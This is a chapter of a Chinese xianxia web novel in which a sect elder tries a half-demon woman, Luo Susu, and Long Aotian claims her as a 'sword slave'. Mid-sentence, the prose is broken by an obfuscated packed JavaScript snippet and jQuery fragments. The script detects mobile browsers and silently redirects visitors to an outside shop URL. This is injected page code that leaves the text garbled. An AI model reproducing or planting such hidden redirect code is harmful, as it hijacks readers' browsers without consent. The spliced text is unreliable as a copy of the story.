罗素素咬了咬唇,声音尽量平稳:“敢问长老召我所为何事?”
门外沉默了一瞬,随即道:“方才值守弟子上报了些异常……具体情况,你去了便知。”
罗素素心头一跳。
异常?
是香气?还是波动?还是……他看到了什么?
“我明白了。”她深吸一口气,“劳烦稍等,我整理一下便来。”
门外弟子应了一声,并未离开。
罗素素看向镜中的自己,绯红色长卷发肆意张扬,尖耳上覆着一层细密的绯色绒毛,身后的长尾更是藏无可藏。
这副模样,别说训戒堂长老,就是宗门里最普通的弟子见了都会立刻拔剑相向。
必须想办法收敛这些体征,否则后果不堪设想!
罗素素心念电转,指尖无意识摩挲着胸口的玉佩。
黑石就在里面,那里蕴含的纯净魔气正源源不断地沁入体内……
她猛地催动腕间的曼殊沙华印记,借着黑石里的魔气,强行收敛体征!
绯色微光一闪而过,长发以肉眼可见的速度褪去艳色,重新变回墨黑;尖耳缓缓收缩,长尾也化作一道虚影,隐入衣摆之下。
可就在体征即将完全收敛的瞬间,胸口的玉佩忽然传来一阵轻微的震颤……
黑石的能量似乎有些不稳。
瞳孔深处那点绯红,终究还是残留了下来。
该死……这点痕迹,也不知道会不会被训戒堂长老发现……
“罗姑娘!”
院门外的催促声再次响起,带着几分不耐。
罗素素深吸一口气,抬手抹去额角的冷汗,快步走到门边,并未立刻开门,只是扬声道:“劳烦稍等,我即刻便来。”
她刻意压低了声音,掩去方才因血脉翻腾而带的沙哑,又理了理衣襟,确保没有丝毫破绽,这才缓缓拉开门闩。
门外站着的并非方才那名弟子,而是一名身着玄色劲装的训戒堂执事。
罗素素心底却掀起了惊涛骇浪,训戒堂执事直接过来,事情恐怕比她想的还要……
那执事扫了她一眼,没多言,只是冷冷道:“长老在堂中等你,走吧。”
罗素素点头应下,抬步默默跟上。
两人一前一后,朝着训戒堂的方向走去,沿途遇到的弟子纷纷侧目,窃窃私语的声音传入耳中,让罗素素的心一点点往下沉。
训戒堂的朱红大门近在眼前,弟子上前,抬手叩门,三声脆响过后,厚重的木门“吱呀”一声缓缓开启。
罗素素抬眸望去,只见堂内光线昏暗,正上方的檀木大椅上,端坐着一个身着灰袍的老者。
他须发皆白,面容沟壑纵横,一双眸子却锐利如鹰隼,落在她身上的瞬间,似有寒光迸射,带着彻骨的寒意。
不用问,这便是刚从边境赶回的训戒堂长老。
老者的目光在她脸上逡巡片刻,眉头陡然蹙起,眼底的厌恶与怒意几乎要溢出来,脑海里却浮现龙傲天的身影。
那孩子三岁引气入体,七岁筑基,十二岁便已触摸到金丹门槛,是宗门百年难遇的天才。
自己看着他日复一日地在寒潭中淬体,在剑冢中悟道。
直到十五岁那年,他外出历练,被魔族掳走,整整一年,音信全无。
所有人都以为他死了,不想一年后,他浑身是血地爬回宗门,经脉尽断,灵根险些破碎。
他凭着一股狠劲,不眠不休地苦修,两年时间,不仅重修了受损的根基,更是一路破境,直接踏入元婴境,这般速度,放眼宗门千年历史,都无人能及!
经历过那样的痛苦折磨,他对魔族早已恨之入骨。
万万没想到,他会从魔族带回一个魔女。
老者声音苍老却掷地有声,震得人耳膜发颤:“好一个狐媚模样,难怪龙傲天那小子会被你迷了心窍!”
罗素素心头一紧,垂在身侧的手悄然攥紧,指节泛白。
她能感觉到,胸口的玉佩微微发烫,似是在抵御着长老无意间散出的威压。
长老见她不语,更是怒不可遏:“魔族余孽,也敢混迹我宗门!今日,老夫便替天行道,让你现出原形!”
话音未落,他袖袍一扬,一道银光破空而出,稳稳落在身前的案几上。
那是一枚巴掌大小的罗盘,通体银白,盘面上刻满了繁复的纹路,正中央镶嵌着一颗赤红的晶石,正是宗门用来检测魔息的至宝,鉴魔盘。
随着他指尖灵力注入,符文次第亮起,散发出幽幽的冷光。
“过来,将手放上去。”长老声音沉冷,目光如炬地盯着罗素素,语气里没有半分转圜的余地。
罗素素呼吸骤然收紧,脚步挪动得极慢,每一步都像是踩在刀尖上。
她余光瞥见殿外一抹素白身影,清衍仙子不知何时已站在廊下,正冷眼旁观这场审判。
待到鉴魔盘近前,罗素素指尖蜷缩了一下,她不知道这一抬手,等待她的是生是死。
可眼下宗门弟子围在四周,长老的威压如影随形,她根本没有退路。
深吸一口气,她咬着牙将手掌贴在了玉盘之上。
不过瞬息,玉盘上的符文骤然暴涨,刺目的红光冲天而起,几乎要冲破大殿穹顶。
长老脸色一沉,刚要开口怒斥,罗素素胸口的玉佩却陡然传来一阵刺骨的寒意。
那股寒意顺着血脉蔓延,疯狂吞噬着她体内暴走的魔息,鉴魔盘上的红光像是被掐住了喉咙的野兽,瞬间黯淡下去,只余下几缕微弱的红丝,在符文间游移不定。
罗素素胸口传来一阵细微的刺痛,她垂眸瞥见玉佩,只见一道裂纹正从玉面蔓延开来,越裂越深。
长老眉头紧锁,盯着鉴魔盘上未散尽的红丝,手悬在半空,神色犹豫。
杀她,没有确凿的魔族铁证;放她,这残留的魔息又绝非寻常。
“长老。”清衍仙子缓步上前,目光如霜,“魔域煞气蚀骨,寻常凡人踏入半步便会化为飞灰。她若真是无辜凡人,怎会安然无恙被龙师兄从魔域带回?”
长老被清衍仙子的话点醒,眼中最后一丝犹豫褪去,猛地一拍桌案,声如洪钟:“此女身怀魔息,来历不明,立即斩首,以绝后患!”
两名弟子应声上前,一左一右架住罗素素的手臂。她面色惨白,胸口玉佩的裂纹又蔓延了几分,却咬紧牙关没有挣扎,她知道,此刻任何反抗都只会坐实罪名。
就在弟子要将她拖出大殿的刹那,殿外陡然传来一声沉喝:
“住手!”
元婴威压轰然落下,两名弟子如遭雷击,踉跄后退。
龙傲天推门而入,目光不着痕迹地掠过罗素
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944456|192973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
素苍白的面容,眸色微沉。待扫过她的耳廓,指尖微不可查的动了一下,一股难以言喻的异样在他心底一闪而过!
那处微微鼓起的触感,他清晰记得。
长老见他竟在此刻现身,瞳孔骤缩,厉声质问:"你不是领命去西陲清剿魔族余孽了吗?怎会这般快回来?”
龙傲天对长老拱手一礼,“魔族已暂清剿完毕,听闻宗内有异动,便赶回来看看。”
一旁的青衍仙子眸底闪过一丝惊疑,西陲魔族盘踞百年,岂是短短数日就能暂清的?龙傲天这话分明是托词,他这般火急火燎地赶回,怕不是为了殿中这魔女!
长老冷哼一声:“不过是处置一个涉魔女子,何须你亲自跑这一趟?”
“长老,此女是弟子从魔域带回,她体内魔息精纯至极,恰好与弟子佩剑的剑意相生相契,是天生的养剑之材。”
长老闻言,脸色瞬间沉了下来,重重一拍桌案,案几"咔嚓"一声裂开,滚烫的茶水溅出几滴,落在手背上竟浑然不觉。
“魔息养剑?荒谬!”他死死盯着龙傲天,眼神里满是惊疑,“此等邪术早已被宗门列为禁术,你身为宗门天骄,竟敢触犯门规?!”
他猛地站起身,灰袍无风自动,元婴大圆满的威压如山岳压下:“你莫不是被她迷了心窍,竟想出这种说辞搪塞本座?"
他脊背挺得笔直,语气冷硬得没有一丝温度,仿佛只是在陈述一桩交易:“长老!弟子并非为她求情,只是惜她这一身奇特体质。弟子愿收她为剑奴,终身以精血温养佩剑,寸步不离拘在身边。他日若她行差踏错、滋生异心,弟子无需宗门动手,定亲自提她首级来见,绝无半分姑息!”
剑奴二字一出,殿内瞬间响起一片倒抽冷气的声音。
修仙界谁不知道,剑奴不过是以精血饲剑、魂魄养锋的活祭品,日复一日被剑气蚕食生机,最终要么油尽灯枯,要么被佩剑反噬魂飞魄散。
两名押解弟子脸色煞白,下意识往后缩了缩手;殿里站着的几位弟子看向罗素素的眼神也多了几分怜悯。
罗素素原本紧绷的身子猛地一颤,血色尽褪的嘴唇翕动了两下,却没发出半点声音。
她抬起头,望着龙傲天挺拔的背影,那双素来清亮的眸子此刻蒙上了一层寒霜。
他救她,原来只是为了让她养剑!那句“亲自提她首级”像淬了冰的刀子,狠狠扎进心底。
怪不得让她破解魔文,怪不得让她贴身保存好黑石,原来是在这里等着她呢。
过往那些若有似无的照拂,瞬间碎得不成样子。
清衍仙子立在一旁,指尖轻轻摩挲着拂尘柄,看着龙傲天对罗素素视若工具的模样,眼底翻涌的嫉恨稍稍褪去,取而代之的是一丝阴鸷的冷笑。
也好,一个靠精血饲剑的炉鼎罢了,翻不出什么浪花。她倒是要看看,这般被剑气日日蚕食,她还能活几日!
长老沉默半晌,指尖在桌案上轻轻敲击,目光在龙傲天和罗素素之间来回扫视。
他知道这小子的脾气,一旦决定的事,十头牛都拉不回来。
更何况,魔息养剑虽属禁术,可若真能成,对宗门也是一桩助力。
他冷哼一声,语气里带着警告,却留了余地:“好!本座就信你一次。她敢生乱,你必须亲手斩之,若敢徇私,休怪本座废你修为!”